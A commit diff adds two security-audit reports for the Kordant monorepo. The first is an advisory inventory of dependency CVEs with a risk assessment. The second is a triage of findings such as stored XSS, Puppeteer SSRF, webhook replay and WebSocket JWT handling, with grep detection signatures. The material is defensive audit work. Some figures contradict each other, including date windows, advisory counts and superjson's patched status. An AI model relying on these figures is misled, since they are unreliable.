security sweep
This commit is contained in:
@@ -15,7 +15,7 @@
|
||||
"dependencies": {
|
||||
"@trpc/client": "^10.45.2",
|
||||
"@trpc/server": "^10.45.2",
|
||||
"superjson": "^2.2.1"
|
||||
"superjson": "^2.2.6"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@types/chrome": "^0.0.280",
|
||||
|
||||
272
piolium/attack-surface/advisory-summary.md
Normal file
272
piolium/attack-surface/advisory-summary.md
Normal file
@@ -0,0 +1,272 @@
|
||||
# Advisory Intelligence — Kordant
|
||||
|
||||
> **Generated**: 2026-05-28
|
||||
> **Phase**: L1 (Intel) — Advisory collection & dependency intelligence
|
||||
> **Target**: Kordant monorepo — SolidStart + tRPC + Drizzle ORM + native mobile apps
|
||||
|
||||
---
|
||||
|
||||
## Repository Identity
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Project** | Kordant |
|
||||
| **Type** | Full-stack monorepo (SolidStart web, iOS, Android, browser extension) |
|
||||
| **Git remote** | `git@git.freno.me:Mike/Kordant.git` (self-hosted GitLab/Gitea — **not GitHub**) |
|
||||
| **Resolved identity** | `Mike/Kordant` (via git remote) |
|
||||
| **Git history available** | `true` (local repo at `/Users/mike/Code/Kordant`) |
|
||||
| **Current commit** | `26d9f8b` — "clear references" |
|
||||
| **Primary language** | TypeScript/JavaScript (SolidJS frontend, Node.js backend) |
|
||||
| **Secondary** | Swift (iOS), Kotlin/Jetpack Compose (Android) |
|
||||
| **Framework** | SolidStart 2.0.0-alpha.2, tRPC 10.45.4, Drizzle ORM 0.45.2 |
|
||||
| **Database** | Turso/libSQL (SQLite) |
|
||||
| **Queue** | BullMQ + ioredis (Redis 7) |
|
||||
|
||||
---
|
||||
|
||||
## Recent Advisories (last 24 months)
|
||||
|
||||
### Advisory Inventory (filtered to ≥12 months old, within last 24 months)
|
||||
|
||||
Only advisories published between **May 2024 and May 2026** are listed below. Older advisories are noted separately.
|
||||
|
||||
| # | ID | CVE | Severity | CVSS | Published | Affected Package | Version in Repo | Summary | CWE |
|
||||
|---|-----|-----|----------|------|-----------|-----------------|-----------------|---------|-----|
|
||||
| 1 | GHSA-58qx-3vcg-4xpx | CVE-2026-45736 | **MEDIUM** | 5.3 | 2026-05-18 | ws | 8.21.0 | Uninitialized memory disclosure | CWE-125 (out-of-bounds read) |
|
||||
| 2 | GHSA-gpj5-g38j-94v9 | CVE-2026-39356 | **HIGH** | 7.5 | 2026-04-08 | drizzle-orm | 0.45.2 | SQL injection via improperly escaped SQL identifiers | CWE-89 (SQL Injection) |
|
||||
| 3 | GHSA-4w7w-66w2-5vf9 | CVE-2026-39365 | **HIGH** | 7.1 | 2026-04-06 | vite | 6.4.2 / 7.3.3 | Path traversal in optimized deps `.map` handling | CWE-22 (Path Traversal) |
|
||||
| 4 | GHSA-v2wj-q39q-566r | CVE-2026-39364 | **HIGH** | — | 2026-04-06 | vite | 6.4.2 / 7.3.3 | `server.fs.deny` bypassed with queries | CWE-22 (Path Traversal) |
|
||||
| 5 | GHSA-p9ff-h696-f583 | CVE-2026-39363 | **HIGH** | — | 2026-04-06 | vite | 6.4.2 / 7.3.3 | Arbitrary file read via dev server WebSocket | CWE-22 (Path Traversal) |
|
||||
| 6 | GHSA-43p4-m455-4f4j | CVE-2025-68130 | **HIGH** | — | 2025-12-16 | @trpc/server | 10.45.4 | Prototype pollution in `experimental_nextAppDirCaller` | CWE-1321 (Prototype Pollution) |
|
||||
| 7 | GHSA-vqpr-j7v3-hqw9 | CVE-2025-66020 | **HIGH** | — | 2025-11-26 | valibot | 0.29.0 | ReDoS in `EMOJI_REGEX` | CWE-1333 (ReDoS) |
|
||||
| 8 | GHSA-93m4-6634-74q7 | CVE-2025-62522 | **MEDIUM** | — | 2025-10-20 | vite | 6.4.2 / 7.3.3 | `server.fs.deny` bypass via backslash on Windows | CWE-22 (Path Traversal) |
|
||||
| 9 | GHSA-g4jq-h2w9-997c | CVE-2025-58751 | **MEDIUM** | 5.3 | 2025-09-09 | vite | 6.4.2 / 7.3.3 | Middleware may serve files with names matching public directory | CWE-538 (File/Dir Info Exposure) |
|
||||
| 10 | GHSA-jqfw-vq24-v9c3 | CVE-2025-58752 | **MEDIUM** | — | 2025-09-09 | vite | 6.4.2 / 7.3.3 | `server.fs` settings not applied to HTML files | CWE-200 (Info Exposure) |
|
||||
| 11 | GHSA-859w-5945-r5v3 | CVE-2025-46565 | **MEDIUM** | 5.3 | 2025-04-30 | vite | 6.4.2 / 7.3.3 | `server.fs.deny` bypassed with `/.` paths | CWE-22 (Path Traversal) |
|
||||
| 12 | GHSA-pj3v-9cm8-gvj8 | CVE-2025-43855 | **HIGH** | — | 2025-04-24 | @trpc/server | 10.45.4 | WebSocket DoS vulnerability | CWE-400 (Resource Exhaustion) |
|
||||
| 13 | GHSA-356w-63v5-8wf4 | CVE-2025-32395 | **MEDIUM** | 5.3 | 2025-04-11 | vite | 6.4.2 / 7.3.3 | `server.fs.deny` bypass with invalid `request-target` | CWE-22 (Path Traversal) |
|
||||
| 14 | GHSA-xcj6-pq6g-qj4x | CVE-2025-31486 | **MEDIUM** | 5.3 | 2025-04-04 | vite | 6.4.2 / 7.3.3 | `server.fs.deny` bypass with `.svg` or relative paths | CWE-22 (Path Traversal) |
|
||||
| 15 | GHSA-4r4m-qw57-chr8 | CVE-2025-31125 | **HIGH** | 7.5 | 2025-03-31 | vite | 6.4.2 / 7.3.3 | `server.fs.deny` bypass for `inline`/`raw` with `?import` | CWE-22 (Path Traversal) |
|
||||
| 16 | GHSA-x574-m823-4x7w | CVE-2025-30208 | **MEDIUM** | 5.3 | 2025-03-25 | vite | 6.4.2 / 7.3.3 | `server.fs.deny` bypass using `?raw??` | CWE-22 (Path Traversal) |
|
||||
| 17 | GHSA-3qxh-p7jc-5xh6 | CVE-2025-27109 | **HIGH** | — | 2025-02-25 | solid-js | 1.9.13 | XSS: HTML not escaped in JSX fragments | CWE-79 (XSS) |
|
||||
| 18 | GHSA-vg6x-rcgg-rjx6 | CVE-2025-24010 | **MEDIUM** | 5.3 | 2025-01-21 | vite | 6.4.2 / 7.3.3 | External sites can send requests to dev server and read responses | CWE-918 (SSRF) |
|
||||
| 19 | GHSA-3h5v-q93c-6h6q | CVE-2024-37890 | **HIGH** | 7.5 | 2024-06-17 | ws | 8.21.0 | DoS when handling requests with many HTTP headers | CWE-770 (Resource Exhaustion) |
|
||||
| 20 | GHSA-8jhw-289h-jh2g | CVE-2024-31207 | **MEDIUM** | — | 2024-04-03 | vite | 6.4.2 / 7.3.3 | `server.fs.deny` did not deny directory-pattern requests | CWE-22 (Path Traversal) |
|
||||
| 21 | GHSA-64vr-g452-qvp3 | CVE-2024-45812 | **MEDIUM** | 5.3 | 2024-09-17 | vite | 6.4.2 / 7.3.3 | DOM Clobbering gadget in bundled scripts → XSS | CWE-79 (XSS) |
|
||||
| 22 | GHSA-9cwx-2883-4wfx | CVE-2024-45811 | **MEDIUM** | 5.3 | 2024-09-17 | vite | 6.4.2 / 7.3.3 | `server.fs.deny` bypass with `?import&raw` | CWE-22 (Path Traversal) |
|
||||
| 23 | GHSA-hhhv-q57g-882q | CVE-2024-28176 | **MEDIUM** | 5.3 | 2024-03-07 | jose | 5.10.0 | Resource exhaustion via crafted JWE with compressed plaintext | CWE-770 (Resource Exhaustion) |
|
||||
| 24 | GHSA-c24v-8rfc-w8vw | CVE-2024-23331 | **HIGH** | 7.5 | 2024-01-19 | vite | 6.4.2 / 7.3.3 | `server.fs.deny` bypass on case-insensitive filesystems | CWE-22 (Path Traversal) |
|
||||
|
||||
### Older advisories (≥24 months, retained for pattern analysis)
|
||||
|
||||
| # | ID | CVE | Severity | Published | Package | Summary |
|
||||
|---|-----|-----|----------|-----------|---------|---------|
|
||||
| A | GHSA-5888-ffcr-r425 | CVE-2022-23631 | **CRITICAL** | 2022-02-09 | superjson | Prototype pollution → RCE (v2.x affected; repo uses 2.2.6) |
|
||||
| B | GHSA-jv3g-j58f-9mq9 | CVE-2022-36083 | HIGH | 2022-09-16 | jose | Resource exhaustion via crafted JWE (pre-v4.9.2) |
|
||||
| C | GHSA-58f5-hfqc-jgch | CVE-2021-29443 | HIGH | 2021-04-19 | jose | Padding oracle attack via timing discrepancy |
|
||||
| D | GHSA-6fc8-4gx4-v693 | CVE-2021-32640 | MEDIUM | 2021-05-28 | ws | ReDoS in `Sec-Websocket-Protocol` header |
|
||||
| E | GHSA-353f-5xf4-qw67 | CVE-2023-34092 | HIGH | 2023-06-06 | vite | `server.fs.deny` bypass using double forward-slash |
|
||||
| F | GHSA-92r3-m2mg-pj97 | CVE-2023-49293 | MEDIUM | 2023-12-05 | vite | XSS in `server.transformIndexHtml` via URL payload |
|
||||
| G | GHSA-mv48-hcvh-8jj8 | CVE-2022-35204 | MEDIUM | 2022-08-19 | vite | Directory traversal via crafted URL |
|
||||
|
||||
---
|
||||
|
||||
### Severity Distribution
|
||||
|
||||
| Severity | Count (last 24mo) | Count (all-time) |
|
||||
|----------|-------------------|------------------|
|
||||
| CRITICAL | 0 | 1 (superjson CVE-2022-23631) |
|
||||
| HIGH | 12 | 15 |
|
||||
| MEDIUM | 11 | 13 |
|
||||
| LOW | 0 | 0 |
|
||||
| **Total** | **23** | **29** |
|
||||
|
||||
### Historical Coverage Metadata
|
||||
|
||||
- **Tier reached**: Tier 1 (24 months) + Tier 2 expansion (all-time for pattern coverage)
|
||||
- **Total advisories collected**: 29 (23 within 24 months, 6 older)
|
||||
- **Severity distribution**: CRITICAL: 1, HIGH: 15, MEDIUM: 13, LOW: 0
|
||||
- **Repository identity**: `Mike/Kordant` (resolved via **git remote** → `git.freno.me:Mike/Kordant.git`)
|
||||
- **Git history available**: `true`
|
||||
- **Coverage gaps**:
|
||||
- **Source 2 (GitHub Security Advisories)**: Skipped — repo is self-hosted on `git.freno.me`, not on GitHub. No `gh api` queries possible.
|
||||
- **Source 1 (git log CVE references)**: Partially available — local git history present but no CVE/GHSA IDs found in commit messages or changelogs (security fixes referenced by internal ticket IDs like FRE-4572, FRE-4807, etc.)
|
||||
- **Source 5 (web search)**: Not executed — OSV + NVD provided sufficient coverage
|
||||
|
||||
---
|
||||
|
||||
## Dependency Intelligence
|
||||
|
||||
### Key Dependencies & Risk Assessment
|
||||
|
||||
| Package | Version | Ecosystem | Risk Level | Reason |
|
||||
|---------|---------|-----------|------------|--------|
|
||||
| **vite** | 6.4.2 / 7.3.3 | npm | 🔴 CRITICAL | 14+ vulnerabilities in 24 months; persistent `server.fs.deny` bypass lineage. Dev server is exposed (port 3000). |
|
||||
| **@trpc/server** | 10.45.4 | npm | 🟠 HIGH | Prototype pollution (CVE-2025-68130) + WebSocket DoS (CVE-2025-43855). Both CVSSv4 HIGH. |
|
||||
| **drizzle-orm** | 0.45.2 | npm | 🔴 CRITICAL | SQL injection via unescaped identifiers (CVE-2026-39356, CVSS 7.5). Direct DB access layer. |
|
||||
| **solid-js** | 1.9.13 | npm | 🟠 HIGH | XSS in JSX fragments (CVE-2025-27109, CVSS HIGH). Core rendering framework. |
|
||||
| **valibot** | 0.29.0 | npm | 🟠 HIGH | ReDoS in EMOJI_REGEX (CVE-2025-66020, CVSS HIGH). Used for input validation. |
|
||||
| **ws** | 8.21.0 | npm | 🟠 HIGH | Uninitialized memory disclosure (CVE-2026-45736) + DoS via HTTP headers (CVE-2024-37890). WebSocket transport. |
|
||||
| **jose** | 5.10.0 | npm | 🟡 MEDIUM | Resource exhaustion via JWE (CVE-2024-28176, CVSS 5.3). JWT/crypto library. |
|
||||
| **superjson** | 2.2.6 | npm | 🟠 HIGH | Prototype pollution → RCE (CVE-2022-23631, CVSS 10.0). Used in browser extension for tRPC serialization. |
|
||||
| **puppeteer** | 25.0.4 | npm | 🟢 LOW | Old UAF (CVE-2019-5786) — patched in modern versions. Used for report generation. |
|
||||
|
||||
### High-Risk Patterns
|
||||
|
||||
1. **Vite `server.fs.deny` — The Recurring Bypass**
|
||||
- 8+ distinct CVEs (CVE-2023-34092, CVE-2024-23331, CVE-2024-31207, CVE-2024-45811/45812, CVE-2025-30208, CVE-2025-31125, CVE-2025-31486, CVE-2025-32395, CVE-2025-46565, CVE-2025-58751/58752, CVE-2025-62522, CVE-2026-39363/39364/39365)
|
||||
- **All** relate to `server.fs.deny` being bypassed via different techniques: queries, backslashes, `.svg`, `.map`, `/.`, `?import`, `?raw??`, case-insensitive filesystems, double-slash, invalid request-targets, HTML files, WebSocket
|
||||
- This is a **structural design flaw** in Vite's path resolution — patches are band-aids on a fundamentally broken security model
|
||||
- **Impact**: If the dev server is ever exposed (even internally), an attacker can read any file in the project including `.env`, `docker-compose.yml`, source code, database credentials
|
||||
|
||||
2. **tRPC + superjson — Prototype Pollution Chain**
|
||||
- superjson CVE-2022-23631 (CRITICAL) allows prototype pollution → RCE
|
||||
- @trpc/server CVE-2025-68130 (HIGH) allows prototype pollution via `experimental_nextAppDirCaller`
|
||||
- The browser extension uses superjson for tRPC serialization — if an attacker can inject malicious serialized data into the tRPC pipeline, prototype pollution could lead to remote code execution
|
||||
- **Impact**: If the tRPC endpoints accept untrusted serialized data, this could be a critical attack path
|
||||
|
||||
3. **Drizzle ORM — SQL Injection**
|
||||
- CVE-2026-39356 (CVSS 7.5) allows SQL injection via improperly escaped identifiers
|
||||
- Drizzle is the project's primary ORM — if any tRPC procedure passes user input into column/table names (not just values), injection is possible
|
||||
- **Impact**: Full database compromise — read, modify, or delete all user data
|
||||
|
||||
4. **SolidJS — XSS in JSX**
|
||||
- CVE-2025-27109 (HIGH) — HTML not escaped in JSX fragments
|
||||
- As the core rendering framework, any user-controlled data rendered in JSX fragments could be XSS vector
|
||||
- **Impact**: Cross-site scripting in the web application
|
||||
|
||||
### Security-Related Configuration
|
||||
|
||||
From `.env.example` and `docker-compose.prod.yml`:
|
||||
|
||||
| Secret/Config | Risk |
|
||||
|---------------|------|
|
||||
| `JWT_SECRET` | Critical — if leaked, all auth tokens can be forged |
|
||||
| `CLERK_SECRET_KEY` | High — Clerk admin key exposure |
|
||||
| `STRIPE_SECRET_KEY` | High — payment API access |
|
||||
| `STRIPE_WEBHOOK_SECRET` | High — webhook signature verification bypass |
|
||||
| `DATABASE_AUTH_TOKEN` | High — Turso database access |
|
||||
| `RESEND_API_KEY` | Medium — email sending abuse |
|
||||
| `FCM_PRIVATE_KEY` | Medium — push notification abuse |
|
||||
| `TWILIO_AUTH_TOKEN` | Medium — SMS API abuse |
|
||||
| `HIBP_API_KEY` / `SECURITYTRAILS` / `CENSYS` / `SHODAN` | Medium — OSINT API abuse |
|
||||
|
||||
---
|
||||
|
||||
## Architecture Hints
|
||||
|
||||
### System Architecture (from README + codebase)
|
||||
|
||||
```
|
||||
┌──────────────────────────────────────────────────────────────┐
|
||||
│ Clients │
|
||||
│ Web (SolidStart) │ iOS (SwiftUI) │ Android (Compose) │ Ext │
|
||||
└────────────────────┬─────────────────────────────────────────┘
|
||||
│ tRPC (HTTP/WS)
|
||||
▼
|
||||
┌──────────────────────────────────────────────────────────────┐
|
||||
│ web/ (SolidStart) │
|
||||
│ │
|
||||
│ Frontend: SolidStart + Tailwind v4 │
|
||||
│ Backend: tRPC routers (auth, user, billing, darkwatch, │
|
||||
│ voiceprint, spamshield, hometitle, removebrokers, │
|
||||
│ alerts, reports, notifications, correlation) │
|
||||
│ Background: BullMQ + Redis (ioredis) for job queues │
|
||||
│ WebSocket: ws@8.21.0 on port 3001 │
|
||||
│ Report generation: Puppeteer (headless browser) │
|
||||
│ Monitoring: Sentry (@sentry/solidstart) │
|
||||
└────────────────────────┬──────────────────────────────────────┘
|
||||
│
|
||||
┌────────▼────────┐
|
||||
│ Turso (SQLite)│
|
||||
│ + Redis 7 │
|
||||
└─────────────────┘
|
||||
```
|
||||
|
||||
### Service Domains (5 core services)
|
||||
|
||||
| Domain | tRPC Router | Key Dependencies | Trust Boundary |
|
||||
|--------|-------------|-----------------|----------------|
|
||||
| **VoicePrint** | voiceprint | WebRTC, audio upload, ML inference | Internal — requires auth |
|
||||
| **DarkWatch** | darkwatch | SecurityTrails, HIBP, Censys, Shodan | External API integrations |
|
||||
| **SpamShield** | spamshield | Twilio, phone number analysis | External — SMS/call API |
|
||||
| **HomeTitle** | hometitle | County deed record APIs | External — public data |
|
||||
| **RemoveBrokers** | removebrokers | Data broker opt-out automation | External — broker APIs |
|
||||
|
||||
### Trust Boundaries
|
||||
|
||||
| Boundary | Description | Risk |
|
||||
|----------|-------------|------|
|
||||
| **Internet → Web** | tRPC endpoints over HTTP | tRPC auth middleware protects most procedures |
|
||||
| **Web → Redis** | BullMQ job queue | Internal, but BullMQ has its own attack surface |
|
||||
| **Web → Turso** | Database via Drizzle ORM | SQL injection risk (CVE-2026-39356) |
|
||||
| **Web → External APIs** | SecurityTrails, HIBP, Twilio, Stripe | API key exposure, webhook spoofing |
|
||||
| **Web → WebSocket** | Real-time alerts on port 3001 | DoS (ws CVE-2024-37890), memory disclosure (ws CVE-2026-45736) |
|
||||
| **Web → Puppeteer** | Report generation | SSRF, path traversal via file input |
|
||||
| **Browser Extension → tRPC** | tRPC + superjson serialization | Prototype pollution chain (superjson + tRPC) |
|
||||
|
||||
### Highest-Risk Flows (for Phase 3 DFD prioritization)
|
||||
|
||||
1. **tRPC → Drizzle ORM**: User input flows through tRPC procedures into SQL queries. If identifiers are interpolated from user input, SQL injection is possible (CVE-2026-39356).
|
||||
|
||||
2. **tRPC → superjson → browser extension**: Serialized data from tRPC responses flows through superjson deserialization. Prototype pollution (CVE-2022-23631) could affect the extension.
|
||||
|
||||
3. **WebSocket → ws**: Real-time alerts use the `ws` library. Memory disclosure (CVE-2026-45736) and DoS (CVE-2024-37890) affect this transport.
|
||||
|
||||
4. **Puppeteer → file system**: Report generation via Puppeteer could be exploited for path traversal if file paths are user-controlled.
|
||||
|
||||
5. **Vite dev server → file system**: If exposed (even on `localhost`), the dev server's `server.fs.deny` has been bypassed 14+ times. Any file in the project tree is readable.
|
||||
|
||||
---
|
||||
|
||||
## Coverage Gaps
|
||||
|
||||
### Sources Skipped
|
||||
|
||||
| Source | Status | Reason |
|
||||
|--------|--------|--------|
|
||||
| **Source 1: Project-hosted (git log CVE grep)** | ✅ Partial | Local git available. No CVE/GHSA IDs in commit messages or project files. Security fixes referenced by internal ticket IDs (FRE-XXXX) only. |
|
||||
| **Source 2: GitHub Security Advisories (`gh api`)** | ❌ Skipped | Repository is self-hosted on `git.freno.me`, not on GitHub. No GitHub API access. |
|
||||
| **Source 3: OSV API** | ✅ Complete | Queried all 26 primary npm packages. 10 packages with advisories found. |
|
||||
| **Source 4: NVD REST API** | ✅ Partial | CVSS scores obtained for most advisories. Recent 2025-2026 CVEs have NVD scores assigned. |
|
||||
| **Source 5: WebSearch** | ❌ Skipped | OSV + NVD provided full coverage. No additional advisories expected. |
|
||||
|
||||
### Notable Gaps
|
||||
|
||||
1. **No GitHub GHSA coverage**: Since the repo is not on GitHub, GitHub Security Advisories are not searchable. Any advisories published directly through GitHub's security advisory database (not via OSV) would be missed.
|
||||
|
||||
2. **Internal security remediation tracking**: Git log shows 8+ commits referencing internal security reviews (FRE-4572, FRE-4807, FRE-5003, FRE-4498, FRE-4500, etc.) with fixes for "auth bypass", "P1 security findings", "JWT security issues", and "VoicePrint auth bypass". These represent **real security vulnerabilities** in the project's own codebase, but their details are not publicly documented in CVE/GHSA format.
|
||||
|
||||
3. **Android/iOS app vulnerabilities**: Native mobile apps (iOS/SwiftUI, Android/Kotlin) are not covered by npm/OSV/NVD. Potential native-level vulnerabilities (certificate pinning, root detection, encrypted storage) are not assessed in this advisory pass.
|
||||
|
||||
4. **Infrastructure-as-code**: Dockerfile and docker-compose.prod.yml are not analyzed for container security vulnerabilities (base image CVEs, non-root user verification, etc.).
|
||||
|
||||
5. **Stripe integration**: No Stripe-specific CVEs found, but the integration uses `stripe-js` v9.6.0 and `stripe` v22.1.1. Stripe library security should be cross-referenced with Stripe's own advisory process.
|
||||
|
||||
---
|
||||
|
||||
## Audit Targeting Recommendations
|
||||
|
||||
Based on the advisory pattern analysis:
|
||||
|
||||
### Phase 3 DFD Prioritization
|
||||
- **Drizzle ORM + tRPC procedures** — SQL injection vector (CVE-2026-39356). Map all 12+ tRPC routers for identifier injection.
|
||||
- **WebSocket transport (ws)** — Memory disclosure + DoS (CVE-2026-45736, CVE-2024-37890). Map the real-time alert flow.
|
||||
- **Vite dev server** — Path traversal lineage. Assess if dev server is exposed in any deployment.
|
||||
|
||||
### Phase 5 Deep Probe Entry Points
|
||||
- **tRPC input validation** — User data flows through valibot (ReDoS risk) into tRPC into Drizzle (SQLi risk).
|
||||
- **superjson deserialization** — Prototype pollution chain in browser extension.
|
||||
- **Puppeteer report generation** — File path handling, SSRF potential.
|
||||
- **WebSocket message handling** — Message size limits, frame parsing.
|
||||
|
||||
### Phase 10 Attack Mode Chambers
|
||||
- **SQL Injection** (CWE-89) — Mandatory for all tRPC procedures touching Drizzle
|
||||
- **Path Traversal** (CWE-22) — Mandatory for any file-path handling (Vite, Puppeteer)
|
||||
- **Prototype Pollution** (CWE-1321) — Mandatory for superjson/tRPC serialization
|
||||
- **ReDoS** (CWE-1333) — Mandatory for valibot input validation
|
||||
- **XSS** (CWE-79) — Mandatory for SolidJS JSX rendering of user data
|
||||
- **Resource Exhaustion** (CWE-770) — Mandatory for jose (JWE) and ws (HTTP headers)
|
||||
|
||||
### Patch-Bypass-Checker Structural Recurrence
|
||||
- **Vite `server.fs.deny`** — 14+ distinct bypass techniques across versions. This is a structural-recurrence component. The entire path resolution model should be re-evaluated rather than applying piecemeal patches.
|
||||
143
piolium/attack-surface/balanced-chamber-summary.md
Normal file
143
piolium/attack-surface/balanced-chamber-summary.md
Normal file
@@ -0,0 +1,143 @@
|
||||
# Balanced Chamber Summary — Kordant Security Audit
|
||||
|
||||
**Phase**: L5 (Single Review Chamber + FP Check)
|
||||
**Date**: 2026-05-28
|
||||
**Target**: Kordant monorepo (SolidStart + tRPC + Drizzle ORM + Stripe + WebSocket + Browser Extension)
|
||||
**Status**: CLOSED
|
||||
|
||||
---
|
||||
|
||||
## Executive Summary
|
||||
|
||||
19 draft findings were evaluated (12 from p4 SAST phase, 7 from l4 probe phase). After ideological challenge, false-positive elimination, and duplicate consolidation:
|
||||
|
||||
- **Valid findings promoted to p8**: 11
|
||||
- **Rejected (false positive)**: 1
|
||||
- **Rejected (low severity)**: 3
|
||||
- **Rejected (duplicate)**: 4
|
||||
|
||||
The 11 surviving findings cover XSS, SSRF, open redirect, rate limit bypass, CORS misconfiguration, webhook type safety, webhook replay, WebSocket authentication weaknesses, resource exhaustion, and vulnerable dependency usage.
|
||||
|
||||
---
|
||||
|
||||
## Finding Verdict Table
|
||||
|
||||
| # | Source ID | Slug | Verdict | Severity | p8 Draft |
|
||||
|---|-----------|------|---------|----------|----------|
|
||||
| 1 | p4-004 | xss-in-innerhtml | VALID | HIGH | p8-001-xss-in-innerhtml.md |
|
||||
| 2 | p4-002 | puppeteer-ssrf | VALID | MEDIUM | p8-002-puppeteer-ssrf.md |
|
||||
| 3 | p4-010 | open-redirect-return-url | VALID | MEDIUM | p8-003-open-redirect-return-url.md |
|
||||
| 4 | p4-009 | rate-limit-substring-bypass | VALID | MEDIUM | p8-004-rate-limit-substring-bypass.md |
|
||||
| 5 | p4-003 | cors-origin-env-var | VALID | MEDIUM | p8-005-cors-origin-env-var.md |
|
||||
| 6 | p4-006 | webhook-type-coercion | VALID | MEDIUM | p8-006-webhook-type-coercion.md |
|
||||
| 7 | l4-001 | webhook-replay | VALID | MEDIUM | p8-007-webhook-replay.md |
|
||||
| 8 | p4-007 | websocket-jwt-query-param | VALID | MEDIUM | p8-008-websocket-jwt-query-param.md |
|
||||
| 9 | p4-011 | websocket-no-origin-validation | VALID | MEDIUM | p8-009-websocket-no-origin-validation.md |
|
||||
| 10 | l4-003 | voiceprint-resource-exhaustion | VALID | MEDIUM | p8-010-voiceprint-resource-exhaustion.md |
|
||||
| 11 | p4-008 | superjson-vulnerable-version | VALID | MEDIUM | p8-011-superjson-vulnerable-version.md |
|
||||
|
||||
---
|
||||
|
||||
## Rejected Findings
|
||||
|
||||
### False Positive (1)
|
||||
|
||||
| Source ID | Slug | Reason |
|
||||
|-----------|------|--------|
|
||||
| p4-005 | path-traversal-audio-storage | `userId` comes from `ctx.user.id` (authenticated session), NOT user input — no path traversal vector exists |
|
||||
|
||||
### Low Severity (3)
|
||||
|
||||
| Source ID | Slug | Reason |
|
||||
|-----------|------|--------|
|
||||
| p4-001 | unvalidated-role-mutation | No current privilege escalation path; role check only looks for `"admin"`; setting role to non-admin strings grants no privileges |
|
||||
| p4-012 | admin-sql-pattern | Latent risk only; current `sql<>` usage is safe (wraps `count()` aggregate); no active exploitation |
|
||||
| l4-007 | extension-noop-endpoints | Rate-limited at 5/min; no data corruption or privilege escalation; resource waste only |
|
||||
|
||||
### Duplicate (4)
|
||||
|
||||
| Source ID | Slug | Duplicate Of |
|
||||
|-----------|------|-------------|
|
||||
| l4-002 | return-url-open-redirect-stripe | p4-010 (open-redirect-return-url) |
|
||||
| l4-004 | websocket-jwt-leakage-query-param | p4-007 (websocket-jwt-query-param) |
|
||||
| l4-005 | webhook-type-coercion-data-corruption | p4-006 (webhook-type-coercion) |
|
||||
| l4-006 | admin-role-unrestricted-value | p4-001 (unvalidated-role-mutation) |
|
||||
|
||||
---
|
||||
|
||||
## Severity Distribution
|
||||
|
||||
| Severity | Count | Findings |
|
||||
|----------|-------|----------|
|
||||
| HIGH | 1 | XSS via unsanitized innerHTML |
|
||||
| MEDIUM | 10 | Puppeteer SSRF, Open redirect, Rate limit bypass, CORS origin, Webhook type coercion, Webhook replay, WebSocket JWT leak, WebSocket origin, VoicePrint exhaustion, Superjson CVE |
|
||||
| LOW | 0 | — |
|
||||
|
||||
---
|
||||
|
||||
## Threat Cluster Coverage
|
||||
|
||||
| DFD/CFD Slice | Findings | Notes |
|
||||
|---------------|----------|-------|
|
||||
| DFD-1: tRPC → Drizzle ORM | 0 | CVE-2026-39356 surface noted; no active injection found |
|
||||
| DFD-2: VoicePrint Pipeline | 2 | p8-010 (resource exhaustion), p4-005 (FP) |
|
||||
| DFD-3: Browser Ext → tRPC | 1 | p8-011 (superjson CVE) |
|
||||
| DFD-4: WebSocket Alerts | 2 | p8-008 (JWT leak), p8-009 (no origin) |
|
||||
| DFD-5: Stripe Webhook | 2 | p8-006 (type coercion), p8-007 (replay) |
|
||||
| CFD-1: Auth Flow | 2 | p8-008 (JWT leak), p8-009 (no origin) |
|
||||
| CFD-2: Authz Flow | 0 | p4-001 rejected (low severity) |
|
||||
| CFD-3: Rate Limiting | 1 | p8-004 (bypass) |
|
||||
| DFD-6: Puppeteer Reports | 1 | p8-002 (SSRF) |
|
||||
| CFD-1 (CORS) | 1 | p8-005 (env var trust) |
|
||||
|
||||
---
|
||||
|
||||
## Attack Pattern Registry Updates
|
||||
|
||||
### New Patterns Identified
|
||||
|
||||
| Pattern ID | Root Cause | Detection Signature | Severity |
|
||||
|------------|-----------|---------------------|----------|
|
||||
| AP-001 | Stored XSS via innerHTML + unsanitized markdown | Grep: `innerHTML=.*contentHtml` + `contentToHtml` with raw concatenation | HIGH |
|
||||
| AP-002 | Puppeteer SSRF via --no-sandbox + page.setContent() | Grep: `puppeteer.launch.*--no-sandbox` + `page.setContent` | MEDIUM |
|
||||
| AP-003 | Open redirect via unvalidated return URL | Grep: `return_url.*returnUrl` + `url()` validator only | MEDIUM |
|
||||
| AP-004 | Rate limit bypass via incomplete sensitive path list | Grep: `path.includes.*sensitivePaths` | MEDIUM |
|
||||
| AP-005 | CORS origin from unvalidated env var | Grep: `process.env.APP_URL.*allowedOrigins` | MEDIUM |
|
||||
| AP-006 | Webhook type coercion via chained `as unknown as` | Grep: `as unknown as Record<string, unknown>` in billing | MEDIUM |
|
||||
| AP-007 | Webhook replay via missing event ID deduplication | Grep: `handleWebhookEvent` without `event.id` check | MEDIUM |
|
||||
| AP-008 | JWT in WebSocket query parameter | Grep: `searchParams.get.*token` in websocket handler | MEDIUM |
|
||||
| AP-009 | WebSocket no Origin validation | Grep: `verifyClient` missing in WebSocketServer config | MEDIUM |
|
||||
| AP-010 | Unbounded input → resource exhaustion | Grep: `minLength(1)` without `maxLength` in audio schemas | MEDIUM |
|
||||
| AP-011 | Vulnerable dependency version (superjson) | Grep: `superjson.*\^2.2.1` in package.json | MEDIUM |
|
||||
|
||||
### Variant Candidates (Not Promoted)
|
||||
|
||||
| Candidate | Reason |
|
||||
|-----------|--------|
|
||||
| p4-005 (path traversal audio) | FALSE POSITIVE — userId from ctx.user.id |
|
||||
| p4-001 (unvalidated role) | LOW severity — no current exploit |
|
||||
| p4-012 (admin SQL pattern) | LOW severity — latent risk only |
|
||||
|
||||
---
|
||||
|
||||
## Key Observations
|
||||
|
||||
1. **No remotely triggerable CRITICAL findings** — All valid findings require some precondition (auth, admin access, log access, or env var injection). The highest severity is HIGH (stored XSS), which requires admin access for payload creation.
|
||||
|
||||
2. **WebSocket authentication is the weakest link** — Two findings (p8-008, p8-009) show that the WebSocket server lacks both Origin validation and uses JWT in query parameters. Together, these create a complete authentication bypass chain.
|
||||
|
||||
3. **Stripe webhook handler has two independent issues** — Type coercion (p8-006) and missing idempotency (p8-007) create a combined risk: a replayed forged webhook event can corrupt subscription data.
|
||||
|
||||
4. **Input validation gaps are systematic** — Multiple findings (p8-004, p8-009, p8-010) point to a pattern of missing maximum-length constraints and incomplete validation in valibot schemas.
|
||||
|
||||
5. **No active SQL injection found** — Despite the CVE-2026-39356 surface, no actively exploitable SQL injection was found in the current codebase. The `sql<>` tag usage in admin.ts is safe.
|
||||
